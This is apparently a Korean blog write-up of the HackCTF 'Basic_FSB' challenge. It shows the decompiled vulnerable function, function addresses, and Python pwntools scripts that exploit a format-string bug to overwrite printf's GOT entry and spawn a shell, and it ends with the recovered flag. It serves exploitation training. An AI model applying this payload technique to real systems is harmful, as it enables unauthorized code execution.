[문제]
[풀이]
- 32bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 없음
바이너리 실행
- 단순히 사용자의 입력을 받아 그대로 출력
- 입력 값 길이에 대한 변화 없음
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
vuln();
return 0;
}
- 단순히 vuln 함수 호출
IDA 분석 - vuln 함수
int vuln()
{
char s; // [esp+0h] [ebp-808h]@1
char format; // [esp+400h] [ebp-408h]@1
printf("input : ");
fgets(&s, 1024, stdin);
snprintf(&format, 0x400u, &s);
return printf(&format);
}
- fgets 함수로 사용자에게 1024바이트 만큼 입력 받음
- snprintf(&format, 0x400u, &s); → format에 입력값 복사, 그러나 서식 지정자 없이 사용하고 있어 FSB 취약점 발생
💡 snprintf 함수
변수에 문자열을 넣어줌으로서 정해진 바이트수를 변수로 출력해줌
char *f로 선언된 변수 안에 입력된 내용이 문자열로써 담김.
BOF를 막기 위해 문자열의 길이를 지정하는 좀 더 안전한 함수
- return printf(&format); → 포맷 스트링이 없어 FSB 취약점 발생
IDA 분석 - flag 함수
int flag()
{
puts("EN)you have successfully modified the value :)");
puts("KR)#값조작 #성공적 #플래그 #FSB :)");
return system("/bin/sh");
}
- /bin/sh shell 실행
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x08048398 _init
0x080483d0 printf@plt
0x080483e0 fgets@plt
0x080483f0 puts@plt
0x08048400 system@plt
0x08048410 __libc_start_main@plt
0x08048420 setvbuf@plt
0x08048430 snprintf@plt
0x08048440 __gmon_start__@plt
0x08048450 _start
0x08048480 __x86.get_pc_thunk.bx
0x08048490 deregister_tm_clones
0x080484c0 register_tm_clones
0x08048500 __do_global_dtors_aux
0x08048520 frame_dummy
0x0804854b vuln
0x080485b4 flag
0x080485ed main
0x08048630 __libc_csu_init
0x08048690 __libc_csu_fini
0x08048694 _fini
- main 주소: 0x080485ed
- vuln 주소: 0x0804854b
- flag 주소: 0x080485b4
- printf@got 주소: 0x080483d0
- snprintf@got 주소: 0x08048430
취약점
💡 vuln함수의 snprintf와 printf 함수에서 FSB 취약점 발생
- snprintf()를 통해서 다음에 실행할 printf()를 flag()로 실행하기 위해 printf()의 got를 flag()로 덮어씌우면 printf()대신에 flag() 실행
- 입력 값의 offset이 2번째 위치임을 알 수 있음
문제 해결
💡aaaaaaaa . 0 . 61616161
printf@got . flag 함수 주소 . %n
의 순서로 매칭해야 함
Python2
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3002)
e=ELF('./basic_fsb')
payload = p32(e.got['printf']) +"%134514096c%n"
payload = p32(0x804a00c) +"%134514096c%n"
print(p.recvuntil(": "))
p.sendline(payload)
p.interactive()
Python3
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3002)
e=ELF('./basic_fsb')
payload = p32(e.got['printf']) +b"%134514096c%n"
#payload = p32(0x804a00c) +b"%134514096c%n"
print(p.recvuntil(": "))
p.sendline(payload)
p.interactive()
flag
🍒 HackCTF{여보게_오늘_반찬은_포맷스트링이_어떠한가?}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Basic_Bof #1 (0) | 2022.10.30 |
---|---|
[HackCTF] Basic_BOF #2 (0) | 2022.10.30 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2022.10.30 |
[HackCTF] x64 Buffer Overflow (0) | 2022.10.30 |
[HackCTF] x64 Simple_size_BOF (0) | 2022.10.30 |